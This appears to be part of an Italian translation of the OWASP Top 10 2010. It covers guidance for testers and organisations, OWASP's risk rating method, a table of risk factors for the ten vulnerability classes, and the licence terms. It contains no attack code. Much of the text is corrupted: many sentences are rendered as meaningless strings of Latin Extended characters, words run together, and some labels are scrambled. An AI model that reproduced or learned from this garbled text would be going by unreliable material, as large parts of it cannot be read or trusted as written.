ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ǿŜōΣ Ƴŀ ŀƴŎƘŜ ǇŜǊ ƛƴŘƛǾƛŘǳŀǊŜ ǉǳŀƭƛ ǘŜŎƴƛŎƘŜ ǎƻƴƻ ǇƛǴ ŀǇǇǊƻǇǊƛŀǘŜΣ Ŝ ŀƛǳǘŀ ŀ ŘŜŦƛƴƛǊŜ Ŝ ǎŜƭŜȊƛƻƴŀǊŜ ǳƴ ƭƛǾŜƭƭo di 
rigore durante la verifica di sicurezza delle applicazioni web. OWASP inoltre consiglia di usare il documento ASVS per definire e 
selezionare i servizi di assessment delle applicazioni web di fornitori esterni.
{ǘǊǳƳŜƴǘƛ ǇŜǊ ƭΩ!ǎǎŜǎǎƳŜƴǘΥ[ΩOWASP Live CD Projectha messo insieme alcuni dei migliori strumenti opensource di sicurezza in 
un singolo ambiente. Gli sviluppatori web, i tester, e i professionisti di sicurezza possono fare il boot da questo Live CD eavere 
accesso immediato a tutta una serie di strumenti per i test di sicurezza. Per utilizzare questo CDnon è richiesta nessuna 
installazione o configurazione.

Consigli per i Tester+V

Revisione del Codice

Revisionare il codice è il modo più efficace di verificare se 
ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ŝ ǎƛŎǳǊŀΦ L ǘŜǎǘ Ǉƻǎǎƻƴƻ ǎƻƭƻ ǾŜǊƛŦƛŎŀǊŜ ŎƘŜ 
ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ƴƻƴ ŝ ǎƛŎǳǊŀΦ

Revisionare il Codice: Come aggiunta allaOWASP5ŜǾŜƭƻǇŜǊΩǎ 
Guidee alla OWASP Testing Guide, OWASP ha prodotto la 
OWASP Code Review Guideper aiutare gli sviluppatori e gli 
specialisti di sicurezza delle applicazioni a capire come 
revisionare in modo efficiente ed efficace la sicurezza di 
ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ǿŜō ǳǘƛƭƛȊȊŀƴŘƻ ƛƭ ǎǳƻ ŎƻŘƛŎŜΦ /ƛ ǎƻƴƻ ŘƛǾŜǊǎŜ 
problematiche di sicurezza, come per esempio le Injection, che 
sono più facili da trovare attraverso la revisione del codice 
rispetto ai comuni test esterni.

Strumenti per la Revisione del Codice: OWASP sta facendo un 
ƭŀǾƻǊƻ Ƴƻƭǘƻ ǇǊƻƳŜǘǘŜƴǘŜ ƴŜƭƭΩŀǎǎƛǎǘŜǊŜ Ǝƭƛ ŜǎǇŜǊǘƛ ŀŘ 
effettuare le analisi di codice, ma questi strumenti sono ancora 
acerbi. Gli autori di questi strumenti li usano ogni giorno 
durante le loro attività di revisione di codice ma i non esperti 
possono trovare questi strumenti difficili da utilizzare. Questi 
includono CodeCrawler, Orizon, e O2.

Sicurezza e Penetration Testing

Testare le Applicazioni: OWASP ha prodotto la Testing Guide
per aiutare gli sviluppatori, i tester e gli specialisti di sicurezza 
delle applicazioni a capire come verificare in maniera efficace 
ed efficiente la sicurezza delle applicazioni web. Questa 
enorme guida, che ha decine di contributori, fornisce 
ǳƴΩŀƳǇƛŀ ǎǇƛŜƎŀȊƛƻƴŜ ŘŜƛ ǾŀǊƛ ŀǊƎƻƳŜƴǘƛ ǊŜƭŀǘƛǾƛ ƛ ǘŜǎǘ Řƛ 
sicurezza delle applicazioni web. Così come la revisione di 
codice ha i suoi punti di forza, così anche i test di sicurezza. È 
Ƴƻƭǘƻ ŎƻƴǾƛƴŎŜƴǘŜ ŘƛƳƻǎǘǊŀǊŜ ŎƘŜ ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ŝ ƛƴǎƛŎǳǊŀ 
ŘƛƳƻǎǘǊŀƴŘƻ ƭΩŜȄǇƭƻƛǘΦ /ƛ ǎƻƴƻ ƛƴƻƭǘǊŜ ŘƛǾŜǊǎŜ ǇǊƻōƭŜƳŀǘƛŎƘŜ 
di sicurezza, in particolare tutte le featurefornite 
ŘŀƭƭΩƛƴŦǊŀǎǘǊǳǘǘǳǊŀΣ ŎƘŜ ƴƻƴ Ǉƻǎǎƻƴƻ ŜǎǎŜǊŜ ǘŜǎǘŀǘŜ Ŏƻƴ ǳƴŀ 
ǾŜǊƛŦƛŎŀ ŘŜƭ ŎƻŘƛŎŜΣ ǇƻƛŎƘŞ ƭΩŀǇǇƭƛŎŀȊƛƻƴŜ ƴƻƴ ŦƻǊƴƛǎŎŜ ƭŀ 
sicurezza.

Strumenti per i Penetration Test Applicativi: WebScarab, 
che è tra gli strumenti più utilizzati tra i progetti OWASP, è un 
proxyper il test delle applicazioni. Permette ad un analista di 
ƛƴǘŜǊŎŜǘǘŀǊŜ ƭŜ ǊƛŎƘƛŜǎǘŜ ǾŜǊǎƻ ƭΩŀǇǇƭƛŎŀȊƛƻƴŜ ǿŜōΣ ƛƴ ƳƻŘƻ 
ǘŀƭŜ Řŀ ǇŜǊƳŜǘǘŜǊŜ ŀƭƭΩŀƴŀƭƛǎǘŀ Řƛ ŎŀǇƛǊŜ ŎƻƳŜ ŦǳƴȊƛƻƴŀ 
ƭΩŀǇǇƭƛŎŀȊƛƻƴŜ Ŝ Ǝƭƛ ǇŜǊƳŜǘǘŜ Řƛ ŎǊŜŀǊŜ ŘŜƭƭŜ ǊƛŎƘƛŜǎǘŜ Řƛ ǘŜǎǘ 
ǇŜǊ ǾŜŘŜǊŜ ǎŜ ƭΩŀǇǇƭƛŎŀȊƛƻƴŜ ǊƛǎǇƻƴŘŜ ƛƴ ƳŀƴƛŜǊŀ ǎƛŎǳǊŀΦ 
vǳŜǎǘƻ ǎǘǊǳƳŜƴǘƻ ŝ ǇŀǊǘƛŎƻƭŀǊƳŜƴǘŜ ŜŦŦƛŎŀŎŜ ƴŜƭƭΩŀǎǎƛǎǘŜǊŜ 
un analista ad identificare vulnerabilità di tipo XSS, di 
!ǳǘŜƴǘƛŎŀȊƛƻƴŜ Ŝ Řƛ /ƻƴǘǊƻƭƭƻ ŘΩ!ŎŎŜǎǎƻΦ



Cominciare da subito il programma per la sicurezza applicativa

La sicurezza applicativa non è più una scelta. Tra l'incremento degli attacchi e delle pressioni normative, le organizzazionidevono 
essere efficaci nella messa in sicurezza delle loro applicazioni. Considerando il numero impressionate di applicazioni e righe di 
codice già in produzione, molte organizzazioni sono in lotta per la gestione di un grande numero di vulnerabilità. L'OWASP 
raccomanda di istituire un programma per la sicurezza applicativa così da avere una visione di insieme e perfezionare la sicurezza 
delle proprie applicazioni. Implementare la sicurezza applicativa richiede alle differenti parti di un'organizzazione di lavorare in 
maniera efficiente compresi i dipartimenti di sicurezza, di audit, di sviluppo software, del business e del management. La 
sicurezza deve essere un concetto visibile, in modo tale che i differenti attori coinvolti possano vedere e comprendere la capacità 
dell'organizzazione di gestire il tutto. È inoltre fondamentale porre attenzione sulle attività e sui risultati che già aiutano ad 
incrementare la sicurezza  riducendo i rischi al più basso costo. Alcune delle attività chiave di un programma efficace includono:

Consigli per le Organizzazioni+O

ωIstituire un programmaper la sicurezzaapplicativae guidarneƭΩŀŘƻȊƛƻƴŜ. 

ωCondurreuna gap analysis tra lo statoattualee il programmastabilito, così da definire le principali 
aree da migliorare e un piano di esecuzione. 

ωOttenere l'approvazione da parte del management e stabilire una campagna di sensibilizzazione sulla 
sicurezza applicativaper l'intera organizzazione IT.

Per Iniziare

ωIdentificare e dare priorità alle applicazioniin base ai fattori di rischio di ognuna.

ωCreare un modello utile alla definizione di un profilo di rischio, in modo tale da misurare e dare giusta 
priorità alle applicazioni. Stabilire delle linee guida per delineare la copertura e il livello di aderenza 
alle linee guida.

ωStabilireun modello di valutazione del rischio condivisocon un insieme di probabilità e fattori di 
impatto che riflettano la tolleranza della propria orgnizzazionerispetto il rischio.

Approccio 
Orientato al 

Rischio

ωStabilire un insieme di regolee standardper fornire un riferimento per la sicurezza applicativa per 
tutti i gruppi di sviluppo.

ωDefinireun set di controlli di sicurezza comune e riutilizzabileche integri queste politiche e questi 
standard e che preveda delle linee guida per il loro utilizzo, sia nella progettazione che nello sviluppo.

ωIstituire un programma di formazione sulla sicurezza applicativa, indirizzato alle differenti figure 
professionali coinvolte e nelle specifiche aree di interesse.

Stabilire una 
Base Efficace 

per la 
Sicurezza 

applicativa.

ωDefiniree integrarele attività di implementazionee verificadellasicurezzaneiprocessioperativie di
sviluppoesistenti. Le attività includonoThreat Modeling, Secure Design & Review, Secure Code & 
Review, Pen Testing, Remediation, ecc.

ωPrevedere la presenza di esperti e servizidi supportoper i gruppidi sviluppoe di progettoaffinchèle 
attività abbianobuonesito.

Integrare la 
Sicurezza nei 

Processi 
Esistenti

ωUtilizzare le statistiche. Guidare i miglioramenti e le decisioni riguardo i finanziamenti attraverso le 
statistiche e le analisi dei dati raccolti. Le statistiche includono adesione alle procedure/attività di 
sicurezza, vulnerabilità nuove e mitigate, copertura della messa in sicurezza delle applicazioni, ecc.

ωAnalizzare i risultati dell'implementazione e delle attività di verifica  per cercare le cause principali e i 
modelli di vulnerabilità al fine di condurre miglioramenti strategici e sistematici all'interno 
dell'organizzazione.

Dare 
Visibilità al 

Management



Sono i Rischi che contano, non le Vulnerabilità

Sebbene le precedenti versioni della OWASP Top 10ǎƛŀƴƻ ǎǘŀǘŜ ŦƻŎŀƭƛȊȊŀǘŜ ƴŜƭƭΩƛŘŜƴǘƛŦƛŎŀǊŜ ƭŜ άǾǳƭƴŜǊŀōƛƭƛǘŁέpiù comuni, questi 
documenti sono di fatto incentrati sul concetto di rischio. Comprensibilmente questo ha causatoconfusione per chi stava 
ŎŜǊŎŀƴŘƻ Řƛ ŘŜŦƛƴƛǊŜ ǳƴŀ ǘŀǎǎƻƴƻƳƛŀ ŘŜƭƭŜ ǾǳƭƴŜǊŀōƛƭƛǘŁ ŎƻƳǇƭŜǘŀ Ŝ ŎƻŜǊŜƴǘŜΦ vǳŜǎǘΩǳƭǘƛƳŀ ǾŜǊǎƛƻƴŜ ŎƘƛŀǊƛǎŎŜ ƭŀ ŦƻŎŀƭƛȊȊŀȊƛƻƴe 
della Top 10 sul concetto di rischio, spiegando esplicitamente come minacce, vettori di attacco, vulnerabilità, impatti tecnici e 
impatti di business vengano combinati e aggregati per produrre un valore di rischio. Per fare questo, abbiamo sviluppato una 
metodologia di Risk Rating per la Top 10, basata sulla OWASP Risk Rating Methodology. Per ogni elemento della Top 10, diamo 
una stima del rischio che ogni vulnerabilità introduce in una tipica web application, considerando i fattori comuni di probabilità di 
accadimento e i fattori di impatto per la tipica vulnerabilità in oggetto. Alla fine la Top 10 viene ordinata in base a quelle 
vulnerabilità che comunemente introducono i rischi più significativi nelle applicazioni.

La OWASP RiskRating Methodologydefinisce numerosifattori che aiutano a calcolare il rischio delle vulnerabilità identificate. In 
ogni caso la Top 10 deve essere una guida generale, più che trattare specifiche vulnerabilità in contesti reali. Di conseguenza,nel 
calcolo del rischio reale di specifiche applicazioni, non potremmo mai essere precisi  come il responsabile di quelle applicazioni. 
Non sapremo mai quanto importanti sono i vostri dati e le vostre applicazioni, quali sono le minacce specifiche a cui siete 
soggetti, nè come il vostro sistema è stato implementato e viene gestito operativamente. La nostra metodologia considera per 
ogni vulnerabilitàtre fattori di probabilità (diffusione, individuabilità e facilità di sfruttamento) e uno di impatto (tecnico). La 
diffusione di una vulnerabilità è un fattore che tipicamente non è necessario calcolare. Per i dati di diffusione abbiamo aggregato 
le statistiche di diffusione di un certo numero di differenti organizzazioni, e abbiamo fatto una media per arrivare alla probabilità 
di esistenza della Top 10  ordinata per diffusione. Questo valore viene poi combinato con gli altri due elementi di probabilità 
(individuabilitàe  facilità di sfruttamento) per calcolare la probabilità generale di accadimento di ciascuna vulnerabilità. Questo 
ǾŀƭƻǊŜ ǾƛŜƴŜ Ǉƻƛ ƳƻƭǘƛǇƭƛŎŀǘƻ ǇŜǊ ƭŀ ƳŜŘƛŀ ŎƘŜ ŀōōƛŀƳƻ ǎǘƛƳŀǘƻ ǇŜǊ ƭΩƛƳǇŀǘǘƻ ǘŜŎƴƛŎƻ Řƛ ƻƎƴƛ ŜƭŜƳŜƴǘƻΣ ƛƴ ƳƻŘƻ Řŀ ŀǊǊƛǾŀǊŜ ŀŘun
valore di rischio generale per ogni elemento della Top 10.

È importante notare che questo approccio non tiene in considerazione  la probabilità di accadimento delle minacce. E neppure 
considera nessun dettaglio tecnico associato alla vostra particolare applicazione. Ognuno di questi fattori potrebbe alterarein
maniera significativa la probabilità globale per un attaccante di trovare e sfruttare una particolare vulnerabilità nella vostra
ŀǇǇƭƛŎŀȊƛƻƴŜΦ vǳŜǎǘƻ ƳŜǘƻŘƻ Řƛ ǾŀƭǳǘŀȊƛƻƴŜ ƴƻƴ ǘƛŜƴŜ ƛƴ ŎƻƴǎƛŘŜǊŀȊƛƻƴŜ ƴŜƳƳŜƴƻ ƭΩŜŦŦŜǘǘƛǾƻ ƛƳǇŀǘǘƻ ǎǳƭ ǾƻǎǘǊƻ ōǳǎƛƴŜǎǎΦ La 
vostra organizzazionedeve decidere il rischio derivante dalla sicurezza delle applicazioni che la vostra organizzazioneè disposta 
ŀŘ ŀŎŎŜǘǘŀǊŜΦ [ƻ ǎŎƻǇƻ ŘŜƭƭŀ h²!{t ¢ƻǇ мл ƴƻƴ ŝ ŦŀǊŜ ƭΩŀƴŀƭƛǎƛ ŘŜƛ ǊƛǎŎƘƛ ŀƭ Ǉƻǎǘƻ ǾƻǎǘǊƻΦ 
Il disegno seguente illustra per esempio il calcolo del rischio di A2:XSS. Da notare che l'XSS è così diffuso che è l'unico elemento a 
cui è assegnato il valore "MOLTO DIFFUSO". Tutti gli altri rischi variano da diffuso a non comune (valori da 1 a 3)

Note sui Rischi+R

__________
Facilità di 
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2

2
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Vulnerabilità
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Vettori
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Impatti
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Impatti
di Business



Riassunto dei fattori di Rischio della Top 10

La seguente tabella presenta un riassunto dei rischi di sicurezza delle applicazioni della Top 10 2010, e i fattori di rischio che 
abbiamo assegnato ad ogni singolo rischio. Questi fattori sono stati determinati in base alle statistiche disponibili e all'esperienza 
del team OWASP. Per applicare questi rischi ad una particolare applicazione o società, è necessario considerarne minacce e 
impatto sul business specifici di quell'applicazione/società. Anche le più importanti vulnerabilità software potrebbero non 
presentare un rischio consistente se non ci sono vettori minacce che permettano di effettuare l'attacco, oppure se l'impatto di 
business sia trascurabile per gli assetcoinvolti.

Dettagli sui fattori di Rischio+F

RISK

A1-Injection FACILE COMUNE MEDIA GRAVE

A2-XSS MEDIA MOLTO DIFFUSO FACILE MEDIO

A3-!ǳǘƘΩƴ MEDIA COMUNE MEDIA GRAVE

A4-DOR FACILE COMUNE FACILE MEDIO

A5-CSRF MEDIA DIFFUSO FACILE MEDIO

A6-Config FACILE COMUNE FACILE MEDIO

A7-Crypto DIFFICILE NON COMUNE DIFFICILE GRAVE

A8-URL Access FACILE NON COMUNE MEDIA MEDIO

A9-Transport DIFFICILE COMUNE FACILE MEDIO

A10-Redirects MEDIA NON COMUNE FACILE MEDIO

Vulnerabilità
di Sicurezza

Vettori
di attacco

Impatti
Tecnici

Rischi aggiuntivi da tenere in considerazione

La Top 10 copre diversi argomenti, ma ci sono comunque altri rischi che è necessario tenere in considerazione e valutare 
ŀƭƭΩƛƴǘŜǊƴƻ ŘŜƭƭŀ ǾƻǎǘǊŀ ƻǊƎŀƴƛȊȊŀȊƛƻƴŜΦ !ƭŎǳƴƛ Řƛ ǉǳŜǎǘƛ ǊƛǎŎƘƛ ǎƻƴƻ ŀǇǇŀǊǎƛ ƛƴ ǾŜǊǎƛƻƴƛ ǇǊŜŎŜŘŜƴǘƛ ŘŜƭƭŀ h²!{t ¢ƻǇ млΣ Ŝ ŀƭtri no, e 
tengono in considerazione le nuove tecniche di attacco che vengono scoperte continuamente.  Altri importanti rischi di sicurezza
delle applicazioni (elencati in ordine alfabetico) che è necessario tenere in considerazione sono:
ÅClickjacking(nuova tecnica di attacco scoperta nel 2008)
ÅConcurrencyFlaws
ÅDenial of Service(Era nella 2004 Top 10 - A9)
ÅHeader Injection(anche chiamata CRLF Injection)
ÅInformation Leakageand Improper Error Handling(era parte della 2007 Top 10 - A6)
ÅInsufficient Anti-automation
ÅInsufficientLoggingand Accountability(Relativa alla 2007 Top 10 ςA6)
ÅLack of Intrusion Detection and Response
ÅMalicious File Execution(Faceva parte delle 2007 Top 10 ςA3)

Minacce

Impatti di 
Business

Diffusione Individuabilità
Facilità di 

sfruttamento Impatto



Le icone sotto-elencate indicano quale versione 
è disponibile per ciascun tipo di libro.

AlphaΥ ǳƴ ƭƛōǊƻ ά!ƭǇƘŀ vǳŀƭƛǘȅέ ŝ ǳƴŀ ŎƻǇƛŀ Řƛ 
lavoro. Il contenuto è piuttosto grezzo ed in 
evoluzione fino al prossimo livello di 
pubblicazione.
BetaΥ ǳƴ ƭƛōǊƻ ά.Ŝǘŀ ǉǳŀƭƛǘȅέ ŝ ŀƭƭƻ ǎǘŀŘƛƻ 
successivo di lavorazione. Il suo contenuto è in 
evoluzione fino al successivo livello di 
pubblicazione.
ReleaseΥ ǳƴ ƭƛōǊƻ άǊŜƭŜŀǎŜ ǉǳŀƭƛǘȅέ ŝ ŀƭ ƳŀǎǎƛƳƻ 
livello di qualità e nel ciclo di vita dei libri è allo 
stadio finale.

Attribuzione: è necessario 
attribuire il lavoro in maniera 
ŎƘƛŀǊŀ ŀƭƭΩŀǳǘƻǊŜ ƻ ŀƭ ƭƛŎŜƴȊƛŀǘŀǊƛƻ 
(ma non in maniera tale da 
simulare che questo autorizzi voi o 
il vostro uso del materiale).

Siete liberi di:

Condividere, distribuire e
trasmettere il lavoro

Modificare ed 
adattare il lavoro

Alle seguenti condizioni:

Condivisione: se si altera, si 
trasforma o si accresce il lavoro, si 
può distribuire il risultato finale 
con lo stesso metodo o simili.  

[ΩƻǇŜƴWeb ApplicationSecurityProject(OWASP)è una comunitàmondialee senzafini di lucro focalizzatasul
miglioramentodella sicurezzadelle applicazionisoftware. La nostra missioneè rendereάǾƛǎƛōƛƭŜέla sicurezza
applicativacosìcchèle personee le organizzazionipossanoprenderedecisioniconsapevolisui rischi legati alla
sicurezzadelle applicazioni. Ogniunoè libero di parteciparead OWASPe tutto il nostro materialeè disponibile
sulla base della logica del software άŦǊŜŜέe άƻǇŜƴέ. La fondazione OWASPè classificata501c3, ovvero
organizzazionesenzascopodi lucrochegarantiscela disponibilitàe supportoal nostrolavoro.


